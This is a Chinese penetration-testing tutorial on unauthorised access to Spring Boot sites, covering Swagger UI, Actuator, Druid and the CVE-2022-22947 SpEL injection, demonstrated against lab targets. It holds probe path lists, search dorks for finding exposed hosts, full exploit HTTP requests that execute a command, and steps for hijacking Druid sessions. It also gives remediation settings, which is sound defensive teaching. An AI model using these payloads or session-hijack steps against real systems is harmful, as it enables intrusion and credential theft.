做網(wǎng)站到底需要什么it培訓(xùn)班出來(lái)現(xiàn)狀
文章目錄
- 前言
- Swagger未授權(quán)訪問(wèn)
- RESTful API 設(shè)計(jì)風(fēng)格
- swagger-ui 未授權(quán)訪問(wèn)
- swagger 接口批量探測(cè)
- Springboot Actuator
- 未授權(quán)訪問(wèn)數(shù)據(jù)利用
- 未授權(quán)訪問(wèn)防御手段
- 漏洞自動(dòng)化檢測(cè)工具
- CVE-2022-22947 RCE
- 漏洞原理分析與復(fù)現(xiàn)
- 漏洞自動(dòng)化利用工具
- 其他常見(jiàn)未授權(quán)訪問(wèn)
- Druid未授權(quán)訪問(wèn)漏洞
- Webpack 源代碼泄露
- 總結(jié)
前言
在對(duì) Java 站點(diǎn)進(jìn)行滲透測(cè)試的過(guò)程中,經(jīng)常會(huì)遇見(jiàn)各類未授權(quán)訪問(wèn)漏洞,本文來(lái)總結(jié)學(xué)習(xí)下常見(jiàn)的幾類未授權(quán)訪問(wèn)漏洞的檢測(cè)和利用方法。
SpringBoot 站點(diǎn)的簡(jiǎn)單識(shí)別方法:
1) 通過(guò) web 應(yīng)用程序網(wǎng)頁(yè)標(biāo)簽的圖標(biāo)(favicon.ico):如果 web 應(yīng)用開(kāi)發(fā)者沒(méi)有修改 springboot web 應(yīng)用的默認(rèn)圖標(biāo),那么進(jìn)入應(yīng)用首頁(yè)后可以看到如下默認(rèn)的綠色小圖標(biāo):
2)通過(guò) springboot 框架默認(rèn)報(bào)錯(cuò)頁(yè)面;如果 web 應(yīng)用開(kāi)發(fā)者沒(méi)有修改 springboot web 應(yīng)用的默認(rèn) 4xx、5xx 報(bào)錯(cuò)頁(yè)面,那么當(dāng) web 應(yīng)用程序出現(xiàn) 4xx、5xx 錯(cuò)誤時(shí),會(huì)報(bào)錯(cuò)如下(此處僅以 404 報(bào)錯(cuò)頁(yè)面為例):
Swagger未授權(quán)訪問(wèn)
Swagger 是一個(gè)用于生成、描述和調(diào)用 RESTful API 接口的 Web 服務(wù)。通俗的來(lái)講,Swagger 就是將項(xiàng)目中所有(想要暴露的)接口展現(xiàn)在頁(yè)面上,并且可以進(jìn)行接口調(diào)用和測(cè)試的服務(wù)。
在平時(shí)滲透測(cè)試的的時(shí)候,經(jīng)常會(huì)發(fā)現(xiàn) Swagger ui(swagger-ui 是將 api 接口進(jìn)行可視化展示的工具)接口泄露,如下,在這個(gè)頁(yè)面中暴露了目標(biāo)站點(diǎn)中所有的接口信息,所以可以對(duì)這個(gè)接口進(jìn)行漏洞測(cè)試,看是否存在未授權(quán)訪問(wèn)、sql 注入、文件上傳等漏洞。
Fofa搜索語(yǔ)法:title="Swagger UI"
Google hack語(yǔ)法:intext:"Swagger UI" intitle:"Swagger UI" site:yourarget.com
修復(fù) Swagger 未授權(quán)訪問(wèn)漏洞的方案:
- 配置 Swagger 開(kāi)啟頁(yè)面訪問(wèn)限制;
- 排查接口是否存在敏感信息泄露(例如:賬號(hào)密碼、SecretKey、OSS配置等),若有則進(jìn)行相應(yīng)整改。
Swagger 未授權(quán)訪問(wèn)地址可能存在于以下默認(rèn)路徑:
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
RESTful API 設(shè)計(jì)風(fēng)格
REST,全名 Representational State Transfer (表現(xiàn)層狀態(tài)轉(zhuǎn)移),它是一種設(shè)計(jì)風(fēng)格,一種軟件架構(gòu)風(fēng)格,而不是標(biāo)準(zhǔn),只是提供了一組設(shè)計(jì)原則和約束條件。RESTful 只是轉(zhuǎn)為形容詞,就像那么 RESTful API 就是滿足 REST 風(fēng)格的,以此規(guī)范設(shè)計(jì)的 API。
RESTful API 介紹請(qǐng)參見(jiàn):《一杯茶的時(shí)間,搞懂 RESTful API》、《一文搞懂RESTful API》。
舉個(gè)例子:提供一個(gè)訂單信息 API,早期程序員為了更方便傳遞信息全部使用了 POST 請(qǐng)求,使用了定義了 method 表明調(diào)用方法:
現(xiàn)在來(lái)看上述例子會(huì)覺(jué)得設(shè)計(jì)上很糟糕,但是在當(dāng)時(shí)大量的 API 是這樣設(shè)計(jì)的。操作資源的動(dòng)作全部在數(shù)據(jù)體里面重新定義了一遍,URL 上不能體現(xiàn)出任何有價(jià)值的信息,為緩存機(jī)制帶來(lái)麻煩。對(duì)前端來(lái)說(shuō),在組裝請(qǐng)求的時(shí)候顯得麻煩不說(shuō),另外返回到數(shù)據(jù)的時(shí)候需要檢查 HTTP 的狀態(tài)是不是 200,還需要檢查 status 字段。那么使用 RESTful 的例子是什么樣呢:
上述例子體現(xiàn)的 RESTful API 的優(yōu)點(diǎn):
- 使用路徑參數(shù)構(gòu)建 URL 和 HTTP 動(dòng)詞來(lái)區(qū)分我們需要對(duì)服務(wù)所做出的操作,而不是使用 URL 上的接口名稱,例如 getProducts 等;
- 使用 HTTP 狀態(tài)碼,而不是在 body 中自定義一個(gè)狀態(tài)碼字段;
- URL 有層次的設(shè)計(jì),例如
/catetory/{category_id}/products
便于獲取 path 參數(shù),在以后例如負(fù)載均衡和緩存的路由非常有好處。
RESTful 的本質(zhì)是基于 HTTP 協(xié)議對(duì)資源的增刪改查操作做出定義。
幾個(gè)典型的 RESTful API 場(chǎng)景:
swagger-ui 未授權(quán)訪問(wèn)
下面使用 Java 安全綜合靶場(chǎng)搭建 Swagger 漏洞環(huán)境:https://github.com/JoyChou93/java-sec-code,直接下載源碼后在虛擬機(jī)基于 Docker 快速搭建:
1)Start docker:
docker-compose pull
docker-compose up2)Stop docker:
docker-compose down3)登錄地址與密碼:
http://localhost:8080/login,admin/admin123
實(shí)際上 java-sec-code 靶場(chǎng)并不存在 Swagger-ui 未授權(quán)訪問(wèn)漏洞,需要用戶登錄以后才能訪問(wèn)到 swagger-ui,此處我們假設(shè)無(wú)需登錄即可訪問(wèn):
路由 swagger-ui.html#/
列舉了所有的 api 接口,以 login 接口為例:
點(diǎn)擊 Try it out --> Execute 可以調(diào)用接口并查看服務(wù)器返回?cái)?shù)據(jù):
Swagger-ui 提供的 Restful API 接口也會(huì)同步提供相應(yīng)的,發(fā)起模擬請(qǐng)求時(shí)可以填入具體參數(shù)值后再發(fā)送請(qǐng)求,比如 SSRF 漏洞示例接口 http://ip:8080/ssrf/urlConnection/vuln?url=XXX
:
swagger 接口批量探測(cè)
通過(guò)訪問(wèn) api-docs 或者 swagger.json 可以直接獲取 Json 格式的全部接口文檔:
具體地址可在 swagger-ui 頁(yè)面上找到:
在目標(biāo)系統(tǒng)存在大量 API 接口的情況下,逐一進(jìn)行手工測(cè)試的話會(huì)消耗大量精力,可以使用一些現(xiàn)成的自動(dòng)化工具來(lái)快速完成此項(xiàng)工作。
0x01 Postman API工具
第一種方案是借助 Postman 工具(或者 Apifox 工具:https://apifox.com/),利用思路:
- 將 Swagger ui 中所有的接口導(dǎo)入到 Postman;
- 在 Postman 設(shè)置代理,將流量轉(zhuǎn)發(fā)給 Burpsuite,方便觀察發(fā)包情況;
- 對(duì)導(dǎo)入的所有 api 自動(dòng)運(yùn)行測(cè)試,讓 Postman 自動(dòng)對(duì)每個(gè) api 進(jìn)行請(qǐng)求;
- Burpsuite 可掛上 Xray,進(jìn)行自動(dòng)化漏洞檢測(cè);
具體演示請(qǐng)參見(jiàn):《Swagger ui接口自動(dòng)化批量漏洞測(cè)試》、《Actuator內(nèi)存泄露及利用&Swagger未授權(quán)&自動(dòng)化測(cè)試實(shí)現(xiàn)》。
Postman 導(dǎo)入數(shù)據(jù)總是失敗,此處用 Apifox 應(yīng)用導(dǎo)入目標(biāo) Swagger API 接口:
發(fā)送測(cè)試請(qǐng)求(下面是單獨(dú)一個(gè)接口,實(shí)際上可以批量發(fā)送請(qǐng)求):
接下來(lái)設(shè)置網(wǎng)絡(luò)代理將流量轉(zhuǎn)發(fā)到 Burpsuite:
BurpSuite 聯(lián)動(dòng) Xray 進(jìn)行漏洞掃描就不演示了,參見(jiàn) Xray 官方文檔即可:https://docs.xray.cool/。
0x02 Github開(kāi)源工具:swagger-hack
項(xiàng)目地址:https://github.com/jayus0821/swagger-hack
python .\swagger-hack2.0.py -u https://XXX.XXX.XXX.200:444/swagger/v1/swagger.json
會(huì)自動(dòng)構(gòu)造參數(shù)并發(fā)送請(qǐng)求包,同時(shí)記錄返回?cái)?shù)據(jù)到本地統(tǒng)計(jì)表格:
【More】 swagger-ui 還存在過(guò) XSS 漏洞,詳情請(qǐng)參見(jiàn):《Hacking Swagger-UI - from XSS to account takeovers》、《滲透技巧基于Swagger-UI的XSS》。
Springboot Actuator
Actuator 是 springboot 提供的用來(lái)對(duì)應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模塊,借助于 Actuator 開(kāi)發(fā)者可以很方便地對(duì)應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計(jì)等。在 Actuator 啟用的情況下,如果沒(méi)有做好相關(guān)權(quán)限控制,非法用戶可通過(guò)訪問(wèn)默認(rèn)的執(zhí)行器端點(diǎn)(endpoints)來(lái)獲取應(yīng)用系統(tǒng)中的監(jiān)控信息,從而導(dǎo)致信息泄露甚至服務(wù)器被接管的事件發(fā)生。
【影響版本】
- Spring Boot < 1.5 默認(rèn)未授權(quán)訪問(wèn)所有端點(diǎn);
- Spring Boot >= 1.5 默認(rèn)只允許訪問(wèn) /health 和 /info 端點(diǎn),但是此安全性通常被應(yīng)用程序開(kāi)發(fā)人員禁用。
Actuator 提供的執(zhí)行器端點(diǎn)分為兩類:原生端點(diǎn)和用戶自定義擴(kuò)展端點(diǎn),原生端點(diǎn)主要有:
需要注意的是:
- Spring Boot 1.x 版本的 Actuator 端點(diǎn)在根 URL 下注冊(cè)(比如 java-sec-code 靶場(chǎng)環(huán)境),Spring Boot 2.x 版本的 Actuator 端點(diǎn)移動(dòng)到 /actuator/ 路徑下(比如下文將用到的 Vulhub 靶場(chǎng)的 CVE-2022-22947 環(huán)境);
- 有些程序員會(huì)自定義 spring 的根路徑,比如 /manage、/management 、項(xiàng)目 App 相關(guān)名稱等;
- Spring Boot Actuator 默認(rèn)的內(nèi)置路由名字,如 /env 有時(shí)候也會(huì)被程序員修改,比如修改成 /appenv;
Actuator-api 的官方文檔:https://docs.spring.io/spring-boot/docs/current/actuator-api/htmlsingle/,官方文檔對(duì)每個(gè)端點(diǎn)的功能進(jìn)行了描述。
/actuator
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
未授權(quán)訪問(wèn)數(shù)據(jù)利用
對(duì)于尋找漏洞比較重要的接口和其可能的利用方式可總結(jié)如下:
接口 | 利用方式 |
---|---|
/env、/actuator/env | GET 請(qǐng)求 /env 可能會(huì)直接泄露環(huán)境變量、內(nèi)網(wǎng)地址、配置中的用戶名、mysql 安裝路徑、數(shù)據(jù)庫(kù)密碼(可能帶*)、關(guān)鍵密鑰等敏感數(shù)據(jù) |
/trace、/actuator/trace | /trace 路徑包含一些 http 請(qǐng)求包訪問(wèn)跟蹤信息,有可能在其中發(fā)現(xiàn)內(nèi)網(wǎng)應(yīng)用系統(tǒng)的一些請(qǐng)求信息詳情、以及有效用戶或管理員的 authorization(token、JWT、cookie)等字段 |
/heapdump、/actuator/heapdump | 可嘗試訪問(wèn)網(wǎng)站的 /actuator/heapdump 接口,下載返回的 GZip 壓縮 堆轉(zhuǎn)儲(chǔ)文件,可使用 Eclipse MemoryAnalyzer 加載,通過(guò)站點(diǎn)泄露的內(nèi)存信息,有機(jī)會(huì)查看到后臺(tái)賬號(hào)信息和數(shù)據(jù)庫(kù)賬號(hào)等 |
/mappings、/actuator/mappings | 由于 mappings 記錄了全部的 Url 路徑,可以利用該端點(diǎn)尋找未授權(quán)接口 |
/health、/actuator/health | Git 項(xiàng)目地址的泄露一般在 /health 路徑,可探測(cè)到站點(diǎn) git 項(xiàng)目地址并查看源碼 |
/refresh、/actuator/refresh | POST 請(qǐng)求 /env 接口設(shè)置屬性后,可同時(shí)配合 POST 請(qǐng)求 /refresh 接口刷新 /env 屬性變量來(lái)觸發(fā)相關(guān) RCE 漏洞 |
/restart、/actuator/restart | 暴露出此接口的情況較少,可以配合 POST請(qǐng)求 /env 接口設(shè)置屬性后,再 POST 請(qǐng)求 /restart 接口重啟應(yīng)用來(lái)觸發(fā)相關(guān) RCE 漏洞 |
/jolokia、/actuator/jolokia | 可以通過(guò) /jolokia/list 接口尋找可以利用的 MBean,間接觸發(fā)相關(guān) RCE 漏洞、獲得星號(hào)遮掩的重要隱私信息的明文等。 |
下面使用 Vulhub 靶場(chǎng)的 CVE-2022-22947 環(huán)境,存在 actuator 未授權(quán)訪問(wèn):
0x01 /actuator/heapdump
先來(lái)看下 /actuator/heapdump 接口,訪問(wèn)后可以下載到一個(gè) hprof 格式的堆轉(zhuǎn)儲(chǔ)文件 heapdump:
heapdump 文件的敏感數(shù)據(jù)查看工具:
- JDumpSpider:https://github.com/whwlsfb/JDumpSpider;
- Eclipse MemoryAnalyzer:https://eclipse.dev/mat/downloads.php;
第一款工具 JDumpSpider 食用方法很簡(jiǎn)單:
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump(文件名)
會(huì)自動(dòng)識(shí)別、提取敏感信息并進(jìn)行分類,可惜本案例沒(méi)有什么敏感信息:
但是 java-code-sec 靶場(chǎng)的 heapdump 文件(請(qǐng)求:http://ip:8080/heapdump
) 則存在敏感數(shù)數(shù)據(jù)泄露:
第二款工具 Eclipse MemoryAnalyzer 需要 Java 17 以上版本,用法參見(jiàn):《Springboot信息泄露以及heapdump的利用》。
0x02 /env 路徑敏感信息
上述靶場(chǎng)環(huán)境不存在敏感數(shù)據(jù),以下借用網(wǎng)上案例,/env 路徑泄露多個(gè)敏感賬戶密碼:
0x03 /trace 路徑泄露認(rèn)證憑據(jù)
0x04 /health 路徑泄露 Git 項(xiàng)目地址
0x05 /mappings 路徑泄露所有 API
【More】SpringBoot Actuator 未授權(quán)訪問(wèn)漏洞導(dǎo)致的危害不僅僅是信息泄露,結(jié)合其他相關(guān)組件漏洞可以實(shí)現(xiàn) RCE 的效果,可進(jìn)一步參見(jiàn):
- https://github.com/LandGrey/SpringBootVulExploit;
- 奇安信攻防社區(qū)-Springboot攻擊面初探(一);
- Spring Boot Actuator 未授權(quán)的測(cè)試與利用思路。
相應(yīng)的靶場(chǎng)環(huán)境與復(fù)現(xiàn)方式位于 SpringBootVulExploit,這里頭實(shí)際上涉及多個(gè) CVE 漏洞,此處暫不展開(kāi)分析。
未授權(quán)訪問(wèn)防御手段
作為一名安全dog,不能只挖不修。
【方案一】
在項(xiàng)目的 pom.xml 文件下引入 spring-boot-starter-security 依賴:
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency>
然后在 application.properties 中開(kāi)啟 security 功能,配置訪問(wèn)賬號(hào)密碼,重啟應(yīng)用即可彈出認(rèn)證界面:
management.security.enabled=true
security.user.name=admin
security.user.password=admin
【方案二】
可以在 application.properties 配置文件修改配置,開(kāi)啟業(yè)務(wù)需求上必須的端口(建議全部禁用),通過(guò)配置 management.endpoint.<端點(diǎn)名稱>.enabled 為 true/false 來(lái)開(kāi)啟/禁用端口。
management.endpoints.enabled = false //直接禁用所有端口
management.endpoints.metrics.enabled = true //開(kāi)啟metrics端點(diǎn)# 通過(guò)配置management.endpoint.web.exposure.include=xxx 來(lái)暴露某個(gè)web端點(diǎn)
# 通過(guò)配置management.endpoint.web.exposure.exclude=xxx 來(lái)隱藏某個(gè)web端點(diǎn)
# 比如:暴露所有端點(diǎn)(不安全)
management.endpoints.web.exposure.include=*
# 隱藏(不暴露)端點(diǎn)info
management.endpoints.web.exposure.exclude=info
# 隱藏(不暴露)端點(diǎn)env beans
management.endpoints.web.exposure.exclude=env,beans
漏洞自動(dòng)化檢測(cè)工具
SpringBoot 框架漏洞探測(cè)工具:https://github.com/0x727/SpringBootExploit
一款基于 YAML 語(yǔ)法模板的定制化快速漏洞掃描器:https://github.com/projectdiscovery/nuclei
一款快速、穩(wěn)定的高性能漏洞掃描器 afrog:https://github.com/zan8in/afrog
以上工具檢查的都是 Vulhub 靶場(chǎng)的 CVE-2022-22947 環(huán)境,最后順便檢測(cè)下 java-sec-code 靶場(chǎng),可以發(fā)現(xiàn)該靶場(chǎng)環(huán)境在未登錄的情況下 afrog 和 nuclei 均是掃描不出任何問(wèn)題的,因?yàn)?java-sec-code 靶場(chǎng)本質(zhì)上是不存在 Spingboot Actuator 未授權(quán)訪問(wèn)漏洞的,用戶需要登錄后才能訪問(wèn)到相應(yīng)端點(diǎn)的路徑,漏洞掃描工具自然也就掃描不出來(lái)漏洞:
但是 nuclei 提供了 -H 參數(shù),可以指定在所有 http 請(qǐng)求中包含的自定義 header、cookie,以 header:value
的格式指定(cli,文件),我們添加有效的 Cookie (通過(guò)抓取合法數(shù)據(jù)包提取)后對(duì)站點(diǎn)進(jìn)行掃描,查看結(jié)果如下(通過(guò) -s high,critical
參數(shù)過(guò)濾出高危、致命問(wèn)題):
CVE-2022-22947 RCE
Spring Cloud Gateway 是 Spring 中的一個(gè) API 網(wǎng)關(guān),旨在提供一種簡(jiǎn)單而有效的方法來(lái)路由到 API 并為其提供橫切關(guān)注點(diǎn),例如:安全性、監(jiān)控/指標(biāo)和彈性(英文直譯,可參見(jiàn)官方介紹文檔)??蛻舳税l(fā)起請(qǐng)求給網(wǎng)關(guān),網(wǎng)關(guān)處理映射找到一個(gè)匹配的路由,然后發(fā)送該給網(wǎng)關(guān)的 Web 處理器,處理器會(huì)通過(guò)一條特定的Filter鏈來(lái)處理請(qǐng)求,最后會(huì)發(fā)出代理請(qǐng)求,Filter 不僅僅做出預(yù)過(guò)濾,代理請(qǐng)求發(fā)出后也會(huì)進(jìn)行過(guò)濾。
Spring Cloud Gateway 在其 3.1.0 及 3.0.6 版本(包含)以前存在一處 SpEL 表達(dá)式注入漏洞,當(dāng) Gateway Actuator 端點(diǎn)啟用、暴露且不安全時(shí),使用 Spring Cloud Gateway 的應(yīng)用程序很容易受到代碼注入攻擊。遠(yuǎn)程攻擊者可能會(huì)發(fā)出惡意制作的請(qǐng)求,從而允許在遠(yuǎn)程主機(jī)上進(jìn)行任意遠(yuǎn)程執(zhí)行。
受影響的 Spring Cloud Gateway 版本(當(dāng)前官網(wǎng)版本已達(dá) v4.0.9):
3.1.03.0.0 to 3.0.6Older, unsupported versions are also affected
漏洞披露與分析文章鏈接:https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/。
漏洞原理分析與復(fù)現(xiàn)
從 Spring官方的修復(fù)代碼 可以直觀看出這個(gè) SpEL 表達(dá)式注入的位置:
修復(fù)方法是使用安全的上下文 SimpleEvaluationContext 替換了不安全的 StandardEvaluationContext(SpEL 表達(dá)式注入漏洞的相關(guān)知識(shí)可以參見(jiàn)我的另一篇文章:《Java代碼審計(jì)之SpEL表達(dá)式注入漏洞分析》):
至于入?yún)鬟f到漏洞觸發(fā)點(diǎn)的過(guò)程請(qǐng)參見(jiàn)《Spring Cloud GateWay 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2022-22947) 》,此處不展開(kāi)。
直接使用 Vulhub 靶場(chǎng)環(huán)境和 指導(dǎo)文檔 快速進(jìn)行漏洞復(fù)現(xiàn),前面已經(jīng)提到了 Vulhub 靶場(chǎng)的 CVE-2022-22947 環(huán)境,存在 actuator 未授權(quán)訪問(wèn)且啟用了 Actuator Gateway :
從官方文檔 https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api 可以看到,如果配置了暴露 actuator 端點(diǎn),允許 jmx 或者 Web 訪問(wèn),則可以通過(guò) /gateway 接口與網(wǎng)關(guān)進(jìn)行交互,并創(chuàng)建新的自定義路由。
利用這個(gè)漏洞需要發(fā)送兩個(gè) HTTP 數(shù)據(jù)包。
首先,發(fā)送如下數(shù)據(jù)包即可添加一個(gè)包含惡意 SpEL 表達(dá)式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
然后,發(fā)送如下數(shù)據(jù)包應(yīng)用剛添加的路由,這個(gè)數(shù)據(jù)包將觸發(fā) SpEL 表達(dá)式的執(zhí)行:
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
最后發(fā)送如下數(shù)據(jù)包即可查看執(zhí)行結(jié)果:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
上面的演示只是為了簡(jiǎn)單起見(jiàn),也可以將惡意路由的 SpEL 表達(dá)式替換為 basse64 的反彈 shell 命令。
【漏洞修復(fù)方案】
除了升級(jí) Spring cloud Gateway 到最新版本以外,也可以禁用 actuator gateway。通過(guò)前面的漏洞利用過(guò)程可以看到,首先需要通過(guò) /actuator/gateway/routes/{id}API
創(chuàng)建一條路由。因此將此 API 禁止,也可實(shí)現(xiàn)漏洞的修復(fù)。根據(jù) Actuator 的 API 文檔可知,啟用 actuator gateway 需要設(shè)置以下兩個(gè)配置的值:
management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway
因此只要這兩個(gè)選項(xiàng)不同時(shí)滿足,就不會(huì)啟用 actuator gateway。
漏洞自動(dòng)化利用工具
沿用前文提到的 SpringBoot 框架漏洞探測(cè)工具:https://github.com/0x727/SpringBootExploit:
此漏洞掃描和利用也可以使用 Goby 社區(qū)版:https://github.com/gobysec/Goby,Goby是一款基于網(wǎng)絡(luò)空間測(cè)繪技術(shù)的新一代網(wǎng)絡(luò)安全工具,它通過(guò)給目標(biāo)網(wǎng)絡(luò)建立完整的資產(chǎn)知識(shí)庫(kù),進(jìn)行網(wǎng)絡(luò)安全事件應(yīng)急與漏洞應(yīng)急,官方文檔:https://gobysec.net/faq。
點(diǎn)擊掃描出來(lái)的 CVE-2022-22947 進(jìn)去快速驗(yàn)證漏洞:
Goby 跟前面的 nuclei、afrog 的共同特點(diǎn)是基于內(nèi)置的漏洞 poc 掃描模板庫(kù),且都支持使用者自定義新增的 poc 規(guī)則。
優(yōu)勢(shì)是 Goby 提供了較為豐富的圖形化界面、支持漏洞快速驗(yàn)證功能,以及支持豐富的擴(kuò)展插件。
缺點(diǎn)也很明顯,專業(yè)版收費(fèi)很貴:
其他常見(jiàn)未授權(quán)訪問(wèn)
網(wǎng)上總結(jié)的常見(jiàn)的滲透測(cè)試常見(jiàn)的未授權(quán)訪問(wèn)漏洞:《二十八種未授權(quán)訪問(wèn)漏洞合集》,下文僅挑部分展開(kāi)描述。
Druid未授權(quán)訪問(wèn)漏洞
Druid 是阿里巴巴數(shù)據(jù)庫(kù)事業(yè)部出品,為監(jiān)控而生的數(shù)據(jù)庫(kù)連接池,官方項(xiàng)目地址:https://github.com/alibaba/druid。Druid 提供的監(jiān)控功能,包括監(jiān)控 SQL 的執(zhí)行時(shí)間、監(jiān)控 Web URI 的請(qǐng)求、以及 Session 監(jiān)控等。
當(dāng)開(kāi)發(fā)者配置不當(dāng)時(shí)就可能造成未授權(quán)訪問(wèn)漏洞,即項(xiàng)目中引入 druid-spring-boot-starter,且 spring.datasource.druid.stat-view-servlet.enabled
配置為 true 時(shí),可以直接訪問(wèn) Druid Monitor 監(jiān)控平臺(tái),可能會(huì)造成企業(yè)機(jī)密信息被攻擊者獲取。
<dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.16</version>
</dependency>
spring.datasource.druid.stat-view-servlet.enabled=true
漏洞默認(rèn)路徑:
http://www.xxxx.com/druid/index.html
Fofa 資產(chǎn)搜索語(yǔ)法:
title="Druid Stat Index"
Google 搜索語(yǔ)法:
inurl:"druid/index.html" intitle:"Druid Stat Index"
【漏洞利用】
Druid 未授權(quán)訪問(wèn)在沒(méi)有進(jìn)一步利用的情況下僅僅是一個(gè)低風(fēng)險(xiǎn)的信息泄露漏洞,但是攻擊者也可以進(jìn)一步利用利用該漏洞來(lái)提高危害。
首先可以借助未授權(quán)訪問(wèn)收集一下服務(wù)器的 API 接口相關(guān)信息:
/druid/weburi.html
該接口泄露了網(wǎng)站功能模塊的 API 接口,可以進(jìn)一步探測(cè)這些 API 接口是否存在未授權(quán)訪問(wèn)、SQL 注入、XSS 等漏洞。
與此同時(shí),應(yīng)當(dāng)關(guān)注可能泄露用戶 session 的路徑:
/druid/websession.html
此處泄露的主要是登錄用戶的 session,不管是登陸成功的、沒(méi)登陸成功的,還是失效的都會(huì)儲(chǔ)存在這里。
【漏洞利用思路】當(dāng)
/druid/websession.html
頁(yè)面存在數(shù)據(jù)時(shí),我們可利用該頁(yè)面的 session 偽造用戶身份訪問(wèn)/druid/weburi.html
泄露的 API 接口路徑,來(lái)進(jìn)一步訪問(wèn)敏感業(yè)務(wù)接口,甚至登錄系統(tǒng)后臺(tái)。請(qǐng)注意應(yīng)當(dāng)點(diǎn)擊最后訪問(wèn)時(shí)間,然后復(fù)制一條離現(xiàn)在時(shí)間最為接近的 session 進(jìn)行偽造登錄,盡量避免因 session 已失效而導(dǎo)致利用失敗。
拿到 session 后登錄后臺(tái)的方法可以參見(jiàn)《Kali Linux-BeEF瀏覽器滲透框架》中的 XSS 利用章節(jié),網(wǎng)上成功借助 Druid 未授權(quán)訪問(wèn)竊取 session 并登錄后臺(tái)的案例:《Druid未授權(quán)訪問(wèn)實(shí)戰(zhàn)利用》。
【修復(fù)方案】
方案一:直接禁止頁(yè)面訪問(wèn),SpringBoot 項(xiàng)目修改配置文件 application.properties(或者不配置,此配置默認(rèn)為 false)。
spring.datasource.druid.stat-view-servlet.enabled=false
方案二:增加賬號(hào)密碼登錄,賬號(hào)密碼可自定義配置,與數(shù)據(jù)庫(kù)無(wú)關(guān)。
spring.datasource.druid.stat-view-servlet.enabled=true
spring.datasource.druid.stat-view-servlet.login-username=root
spring.datasource.druid.stat-view-servlet.login-password=123
Webpack 源代碼泄露
